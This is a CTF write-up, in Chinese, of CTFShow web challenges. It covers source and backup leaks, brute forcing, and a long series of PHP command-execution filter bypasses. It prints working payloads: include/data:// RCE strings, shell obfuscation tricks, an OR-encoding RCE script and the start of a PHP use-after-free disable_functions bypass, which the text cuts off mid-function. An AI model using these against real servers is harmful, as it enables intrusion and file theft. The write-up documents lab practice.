CTFShow Web刷题记录

web入门、web、赛题

WEB入门

信息搜集

web1

ctrl+u,查看源码

web2

js禁用了右键,ctrl+u就行了

web3

已经提示抓包了,bp抓包,拦截请求响应,flag就在flag字段

web4

访问/robots.txt再访问 /flagishere.txt

web5

提示phps源码泄露

访问/index.phps查看得到flag(dirsearch没扫出来)

web6

/www.zip查看里面的文件,再访问/fl000g.txt发现flag

web7

dirsearch扫描发现/.git/,猜测git泄露

1
python2 GitHack.py http://a966c26d-3ead-49bb-b518-3b5e4485f3c4.challenge.ctf.show/.git 

发现是空仓库,直接访问/.git就能看到flag了

web8

svn泄露,访问/.svn

web9

访问/index.php.swp

web10

抓包cookie,url解码

web11

提示:域名其实也可以隐藏信息,比如flag.ctfshow.com 就隐藏了一条信息

没接触过的知识点,通过https://www.wetools.com/dns/bdeccb25bc9237a4ce71db80a2655594,查询flag.ctfshow.com域名下的txt记录

web12

访问robots.txt

再访问/admin/

用户名:admin 密码: 372619038(就是那个Help Line Number)

web13

查看

登录就行了

web14

访问/editor,找到一个图标(插入文件),点击文件空间就可以看到全部的目录结构,发现/var/www/html/nothinghere/fl000g.txt

于是访问/nothinghere/fl000g.txt

得到flag

web15

提示了邮箱,访问/admin进入后台,发现有找回密码功能,密保问题是所在地城市

根据qq邮箱查找qq,了解到在西安,输入后将密码重置为admin7789

然后登录得到flag

web16

探针:php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡流量、系统负载、服务器时间等信息。

雅黑php探针可以通过tz.php访问

web17

提示:备份的sql文件会泄露敏感信息

尝试访问/backup.sql

保存下来,打开

web18

f12查看js

解码得到

1
你赢了,去幺幺零点皮爱吃皮看看

访问/110.php得到flag

web19

直接把源码给出来了

1
2
3
4
5
6
7
8
9
    error_reporting(0);
$flag="fakeflag"
$u = $_POST['username'];
$p = $_POST['pazzword'];
if(isset($u) && isset($p)){
if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){
echo $flag;
}
}

那就直接post传对应的参就好了

web20

mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。

访问/db/db.mdb 下载文件,txt打开发现flag

爆破

web21

常规的登陆框爆破,详细见https://www.cnblogs.com/007NBqaq/p/13220297.html

Payload set —->custom iterator(自定义迭代器)——>position 3——>输入字典
自定义迭代器可以自定义拼接方式,position的位置即为我们的拼接方式,根据上述base64解码的密码的格式:用户名:密码 —–>则position的位数为3

posution1–>用户名

posution2–> :

posution3–>密码

web22

子域名爆破

fofa查就行了,不过域名更新后,flag.ctf.show域名失效,所以直接提交flag{ctf_show_web}就行了

web23

条件爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);

}
?>

直接用脚本爆破出token的值为422

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php



for ($a=0; $a<10000; $a++){
$token = md5($a);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $a;
}
}
}

?>

web24

伪随机数种子爆破(已知种子)

mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数,当不使用随机数播种函数srand时,php也会自动为随机数播种,因此是否确定种子都不会影响正常运行。但是如果设置了 seed参数 生成的随机数就是伪随机数,意思就是每次生成的随机数 是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

?>

只需满足if(intval($r)===intval(mt_rand()),seed种子也知道是372619038,于是运行

1
2
3
4
<?php
mt_srand(372619038);
echo(mt_rand());
?>

得到1155388967,在get传参就可以了

web25

伪随机数爆破(需要求seed种子)

需要先配置好工具php_mt_seed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

得先满足if((!$rand)),也就是让$rand=0,再满足 if($_COOKIE[‘token’]==(mt_rand()+mt_rand()))

这里的mt_rand()分别是第二次和第三次的随机数

因为$rand = intval($r)-intval(mt_rand());,所以只需要先传个r=0就可以输出$rand,且此时的$rand为-mt_rand()

这样就可以根据第一次的mt_rand()爆破出seed,然后再求出mt_rand()+mt_rand(),就可以满足条件输出flag了

1
http://564ae3a4-ed52-4523-bada-897ed7fc7eae.challenge.ctf.show?r=0

得到-236666633,也就是第一次的随机数是236666633,之后用工具爆破

1
time ./php_mt_seed 236666633

因为我们的php是8.1.12,所以这个seed应该是0x9ef3c118

web26

数据库连接信息爆破

抓包,对数据库密码进行爆破就行了

web27

信息收集、爆破

可以下载下来一个录取名单表格,里面有名字和身份信息(隐藏了出生日期)

还有一个学籍信息查询系统,可以根据名字和身份证查询相关信息

因此只需要爆破初始日期

1
\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237 \u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801

解码:

1
恭喜您,您已被我校录取,你的学号为02015237 初始密码为身份证号码

登录得到flag

web28

目录爆破

抓包对目录路径进行爆破,就可以了(记得爆破模式改为cluster bomb)

命令执行

web29

匹配了flag和过滤了cat

1
http://7d44366f-914c-458f-834e-acb668f50442.challenge.ctf.show?c=system("tac f***.php");

web30

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

用不了system,改用passthru,再模糊匹配

1
http://f1103ca6-f6f4-4cbd-bdb2-62704a050183.challenge.ctf.show?c=passthru("tac f***.***");

web31

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

用%09代替空格

1
http://ccac779a-4ef6-453a-aab3-bcbfef086227.challenge.ctf.show?c=passthru("tac%09f*");

web32

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

连分号都过滤了

这个可以用include 和php协议来做

分号可以用?>代替,空格可以用%09代替

1
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

可以将flag.php文件的内容转变成base64,然后将转换过的flag.php文件赋给a,再将a中的内容显示出来,最后将文件内容进行base64解码。

也可以采用include和php://input

1
?c=include%09$_GET[1]?>&1=php://input

然后post传?php system(“cat flag.php”);

web33

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

多匹配了双引号,影响不大,直接用上题的方法就可以了

web34

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

多匹配了:

还是一样的方法就可以了

1
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web35

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

还是一样

1
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web36

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

一样

web37

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

直接给出了include($c);,过滤了flag

可以用data伪协议
data://协议 通常可以用来执行PHP代码

1
data://text/plain,<?php system('tac f*');?>

web38

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

多过滤了php和file,使用短标签 = 代替php

1
2
<?php system('tac f*');?><?=system('tac f*');?>效果一样
data://text/plain,<?=system('tac f*');?>

web39

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

include($c.”.php”);

用//注释掉就好了(后面发现并不是//的作用,是因为强加的后缀无影响,也就是?c=data://text/plain,<?=phpinfo();?>这样传还是能正常执行,这也是为什么后面的web42//不起作用)

1
c=data://text/plain,<?php system('tac f*');?>);//

web40

1
2
3
4
5
6
7
8
9
10
11
<?php

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

匹配掉一堆字符

法一

1
c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');

get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。

next()将内部指针指向数组中的下一个元素,并输出。

array_pop() 函数删除数组中的最后一个元素并返回其值。

法二

1
c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));

getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为”.”

pos():输出数组第一个元素,不改变指针;

current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为”.”所以遍历当前目录

array_reverse():数组逆置

next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以

show_source():查看源码

pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。

每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。

提示:该函数不会移动数组内部指针。

相关的方法:

current()返回数组中的当前元素的值。

end()将内部指针指向数组中的最后一个元素,并输出。

next()将内部指针指向数组中的下一个元素,并输出。

prev()将内部指针指向数组中的上一个元素,并输出。

reset()将内部指针指向数组中的第一个元素,并输出。

each()返回当前元素的键名和键值,并将内部指针向前移动。

也可以:

1
?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web41

1
2
3
4
5
6
7
8
9
10
11
<?php

if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

过滤麻了,但留了个或运算符|

直接用作者提供的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

web42

1
2
3
4
5
6
7
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

几乎没什么过滤,关键是>/dev/null 2>&1

1
2
3
4
2>/dev/null  
意思就是把错误输出到“黑洞”
>/dev/null 2>&1
默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了“黑洞”
1
?c=tac flag.php;ls

web43

1
2
3
4
5
6
7
8
9
10
<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

ban掉了;但可以用&&代替(记得url编码)用%0a ||都可以

1
?c=tac flag.php%26%26ls

web44

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1
?c=tac f*%0a

web45

1
2
3
4
5
6
7
8
9
10
<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

多过滤了空格

1
?c=tac%09f*%0a

web46

1
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
1
2
?c=tac%09fla?.php%0a
?c=tac%09fla%27%27g.php%0a

web47

1
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c))

没什么影响

1
2
?c=tac%09fla?.php%0a
?c=tac%09fla%27%27g.php%0a

web48

1
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c))

还是一样

1
?c=tac%09fla?.php%0a

web49

1
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c))
1
?c=tac%09fla?.php%0a

web50

1
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c))

过滤了09,&换一个

1
?c=tac<fla''g.php||

web51

1
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c))

不能用tac了,换一个,比如nl

1
?c=nl<fla''g.php||

web52

1
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c))

还特意没ban $再换一个过滤空格的办法

这次flag在根目录的flag文件里

1
?c=nl$IFS/fla''g||

web53

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
1
2
?c=nl${IFS}fla''g.php
?c=nl$IFS\fla''g.php

web54

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
1
?c=/bin/?at${IFS}f???????

或者使用没被ban的mv命令

1
?c=mv${IFS}fla?.php${IFS}a.txt

再访问a.txt

web55

1
2
3
4
5
6
7
8
9
10
11
<?php

// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

拿出狗学长的八进制大法

1
?c=$'\164\141\143' $'\146\154\141\147\56\160\150\160'

在网页传的时候建议编码一下,因为$在php中有特殊含义,可能会产生干扰

也可以

1
2
3
?c=/bin/base64 flag.php
替换后变成
?c=/???/????64 ????.???

还有一种相对麻烦的方法https://blog.csdn.net/qq_46091464/article/details/108513145

web56

1
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c))

这次连数字也过滤了,转8进制行不通了

但还是没过滤.,可以用上面的方法https://blog.csdn.net/qq_46091464/article/details/108513145

操作跟红包题第二弹差不多,只不过这里?c=.%20/???/????????[@-[]的最后因为用[@-[]来匹配大写

1
2
3
4

<form action="http://afb6873e-f0d6-4850-ab3e-148589259901.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />

多试几次,当末尾为大写时就可以了

web57

1
2
3
4
5
6
7
8
9
10
11
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

只需要我们能传入36就行了,$(( ))是用于进行算术运算的一种方式,而$( )是用于执行命令并返回其输出的方式, ~ 表示按位取反操作(即将所有位的0变成1,将所有位的1变成0)

$(())可以用来表示数字

1
2
3
4
5
${_}=""
$((${_}))=0
$((""))=0
$((~$((${_}))))=-1
然后拼接出-36在进行取反
1
$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))

web58~65

从这里就到了禁用函数的部分了,灵活使用就行了,因为这几个比较简单就放一起省的一个一个说

抄一下大佬的总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
查看当前目录整体地址:
c=print_r(scandir('./'));
c=var_dump(scandir('./'));
c=print_r(scandir(dirname('__FILE__')));
c=print_r(scandir(current(localeconv())));
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };

查看根目录:
c=print_r(scandir("/"));
c=var_dump(scandir('/'));
c=var_export(scandir('/'));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

通过单一函数读取文件:
c=show_source('flag.php');
c=echo file_get_contents("flag.php"); // 这个要看源代码
c=readfile("flag.php"); // 这个要看源代码
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
// file函数表示把整个文件读入一个数组中
通过fopen读取文件内容:
fread()
fgets() // 一行一行的读取
fgetc() // 一个一个的读取
fgetss()
fgetcsv()
fpassthru()
// 这些都是与fopen函数配合使用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
feof():用于检测是否已到达文件末尾,到达返回1
fgets():一行一行的读取
fgetc():一个一个的读取
fgetss():从打开的文件中返回一行,并过滤掉 HTML 和 PHP 标签 // 只适用于php7.3之前版本
fgetcsv():函数从打开的文件中解析一行,校验 CSV 字段(逗号分隔值)
var_dump():显示关于一个或多个表达式的结构信息,数组将递归展开值,通过缩进显示其结构
fread():读取打开的文件,有两个参数,前者为要读取的文件,后者为读取最大字节
fpassthru():从打开文件的当前位置开始读取所有数据,直到文件末尾(EOF),并向输出缓冲写结果
localeconv():返回一个包含本地数字及货币格式信息的数组
current():输出数组中的当前元素的值
scandir():列出目录中的文件和目录
array_reverse():返回翻转顺序的数组 // 因为current读取的最前面时根目录,有用的信息一般在后面

高亮显示php文件
c=show_source("flag.php");
c=highlight_file("flag.php");
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

一些好用的payload
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;} //源代码
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;} //源代码
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

c=file_get_contents("flag.php");
c=var_dump(file("flag.php"));
c=$a=fopen("flag.php","r");echo fpassthru($a); // 源代码
c=$a=fopen("flag.php","r");echo fread($a,"1000"); // 源代码

$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} // php<7.3

同时也可以通过复制、重命名来读取php文件内容。在执行完后只需要访问改文件就可以了
copy() // 复制
rename() // 重命名

c=copy("flag.php","1.txt"); // 复制为1.txt
c=rename("flag.php","1.txt"); // 重命名为1.txt

代码几乎都是这样没变,就是禁用的函数会变

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

web66

这次flag藏在了根目录

1
2
c=print_r(scandir("/"));
c=highlight_file('/flag.txt');

web67

1
c=highlight_file('/flag.txt');

web68~70

1
2
3
4
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web71

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

你要上天吗?

源码劫持了输出缓冲并且将数字和字母替换成了?

可以提前终止程序,即执行完代码直接退出,可以调用的函数有:exit();、die();

1
c=include('/flag.txt');exit();

web72

一样的源码,基本都被过滤了,执行了open_basedir限制和disable_functions限制

disable_functions是规定了禁用的函数

open_basedir是php.ini的一个配置选项,用来规定用户可以访问的区域,也就是目录。

glob可以遍历目录,并且不受disable_functions的限制。

1
c=?><?php     $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

发现flag0.txt

但是用常规的方法无法访问flag0.txt

可以用uaf绕过,统一的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
